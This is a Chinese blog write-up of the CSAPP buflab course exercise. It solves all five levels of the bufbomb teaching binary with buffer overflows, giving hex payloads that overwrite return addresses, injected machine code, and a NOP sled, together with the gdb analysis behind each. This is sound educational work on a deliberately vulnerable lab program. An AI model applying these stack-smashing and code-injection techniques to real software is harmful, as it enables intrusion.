CSAPP缓冲实验buflab

这个实验也比较有意思,虽然我是跟着老师给的参考答案手把手做的,缓冲攻击成功的时候还是很有成就感,就是可惜没有和炸弹实验一样的隐藏关了

缓冲实验一共5个关卡,具体的实验细节在实验说明的pdf中有讲,大概就是通过利用一个缓冲区溢出的bug来对一个二进制程序进行攻击,改变它的行为(外挂初级?)

文件输入

因为我们要通过二进制程序来进行攻击,因此我们所写的程序需要被转成2进制
实验说明pdf中给出了实验中可以采用的进制转换方式:

linux> ./hex2raw < 输入文件

本实验通过一个uid来实现不同性,cookie会根据uid来生成,目的应该是为了避免copy抄袭法
代码执行方式:

linux> ./bufbomb -u uid < 转二进制之后的输入文件

为了方便执行,我通常合并操作:

linux> ./hex2raw < 输入文件 | ./bufbomb -u uid

或者

linux> cat 输入文件 | ./hex2raw | ./bufbomb -u uid

level0 : Candle

首先我们从pdf中知道level0的调用的代码源码
level0_1
level0_2
level0_3
我们的目标是改变test函数的返回值,进入smoke函数
于是我们查看test中调用输入的getbuf函数
level0_4
发现是输入一个长不超过32的字符串
我们查看getbuf的汇编代码
level0_getbuf
可以发现是将字符串放在长为40个字节的空间中,而返回的旧ebp在原栈顶,即现在的ebp+4的位置,于是我们只需输入44个字符长的后面再跟上smoke的返回地址0x08048e0a即可

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 0a 8e 04 08

但是运行并未成功
level0_result1
发现是因为0a对应ASCII中的’\n’,正好触发了Gets函数的结束条件,因此我们修改成地址0x08048e0b进入smoke函数

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 0b 8e 04 08

缓冲攻击成功。
level0_result2

level1 : Sparkler

我们从pdf可以得知,这次与level0类似,但是要求我们在getbuf攻击后进入fizz函数,并且传入我们的cookie值
level0_1
fizz函数汇编代码
level0_fizz
我们可以看到在fizz中,所传入的cookie值在ebp+0x8的位置,即在传入fizz地址的后8个字节
我的uid为对应cookie值0x22b04af1,于是输入值

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 af 8d 04 08
00 00 00 00 f1 4a b0 22

测试成功
level1_result

level2 : Firecracker

要求我们自进行getbuf后跳入bang函数而不返回test函数
bang函数c代码
level2_1
我们知道是要修改其中的global_value,所以我们查看对应汇编
level2_bang
圈出的这条语句很可疑,在gdb调试中查看对应地址0x804d10c的值,果然是我们要的global_value,同理我们可以发现0x804d104地址的值是我们的cookie
level2_global_value
这一次我们要修改的返回地址应该是bang函数的地址0x8048d52,然后在攻击进入bang函数后,可以通过修改运行地址的机器码来改变操作
level2_gdb1
我们考虑在bang前执行如上语句,修改global_value值而保证global_value的值与cookie必然相等,且使用objdump对参考程序进行反汇编
找到对应指令

a1 04 d1 04 08
a3 0c d1 04 08
68 52 8d 04 08
c3

那么之后首先要做的就是修改getbuf之后返回的地址,我们要到我们可修改的执行地址,也就是在运行中我们的buf数组的运行地址,在gdb断点调试中可以找到是0x556837c8
level2_gdb2
然后我们让其回到我们设置的机器码执行完后,就可以push函数bang的地址进栈然后返回,从而进入bang函数了
因此我们的输入文件应该是

a1 04 d1 04 08
a3 0c d1 04 08
68 52 8d 04 08
c3
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 
c8 37 68 55

测试成功
level2_result

level3 : Dynamite

这一次我们的任务是修改getbuf函数的返回值为我们的cookie
那么不难想到我们要做的与上一个相类似,首先将getbuf的返回地址改为buf的运行地址,然后通过输入的机器码执行一段指令,然后返回test函数
在上一题我们已经得到cookie地址0x804d104buf运行地址0x556837c8
我们要回到test函数在getbuf后的地址,通过查看汇编可以得知对应地址为0x8048e50
level3_test
首先确定我们定义的操作

mov 0x804d104, %eax
push 0x8048e50
ret

其机器码为

a1 04 d1 04 08
68 50 8e 04 08
c3

同时我们要保证之前存在ebp的旧ebp没有改变
level3_gdb1
通过gdb看到旧ebp为0x55683820
因此我们的输入文件应该是

a1 04 d1 04 08
68 50 8e 04 08
c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 
00 00 00 00 00
20 38 68 55
c8 37 68 55

测试成功!
level3_result

level4 : Nitroglycerin

在这里我们输入参数-n,使得函数不执行getbuf,而是执行buf空间更大的getbufn
我们查看getbufn的汇编代码
level4_getbufn
可以看到他预留了520个字节的位置给输入,也就是说我们修改的返回地址应该在525到528个字节的位置。
然后我们需要返回到testn函数,并且返回我们的cookie
由于getbufn反复调用五次,其栈空间并不是固定的,因此我们要找到返回地址与他之间的关系。
level4_gdb1
level4_gdb2
level4_gdb3
level4_gdb4
level4_gdb5
上面是5次调用时getbufn的ebp地址、buf地址和testn的ebp地址
可以看到他们之间满足一个关系式
level4_formula
第二个式子毫无疑问,而第一个式子显然揭示了testngetbufn的ebp间的关系
再看testn的汇编代码
level4_testn
testn中ebp存储在esp+0x28的位置,也就是getbufn的ebp+0x30的位置,与上面的相符合,因此在getbufn返回并进入我们的设置的运行地址后,只要leal 0x28(%ebp),%ebp就可以将保证回到testn后我们的ebp不会变化。
所以我们就是要改变getbufn的返回地址到我们buf的运行地址,执行我们所需要的操作码后回到testn函数的下一步操作
level4_gdb6
对应机器码

8d 6c 24 28
a1 04 d1 04 08
68 e2 8c 04 08
c3

但是因为buf的运行地址也会变化,我们不能准确寻找到buf,因此我采用一种方法,就是将之前填为00的任意值,都换成填入90,90对应nop,即不进行任何操作,然后在我们输入的字符串最后执行需要的操作。因此我们返回到的地方应该是buf会到的最高的地址,即0x55683648,从而保证从其走上去必定是nop
因此我们设置代码

90 * 509 #509个重复的90
8d 6c 24 28
a1 04 d1 04 08
68 e2 8c 04 08
c3

运行测试成功!
level4_result

实验结果:
level0:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 0b 8e 04 08

level1:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 af 8d 04 08
00 00 00 00 f1 4a b0 22

level2:

a1 04 d1 04 08
a3 0c d1 04 08
68 52 8d 04 08
c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 
00 00 00 00
c8 37 68 55

level3:

a1 04 d1 04 08
68 50 8e 04 08
c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 
00 00 00 00 00
20 38 68 55
c8 37 68 55

level4:

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90
8d 6c 24 28
a1 04 d1 04 08
68 e2 8c 04 08
c3
48 36 68 55
  • 1
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值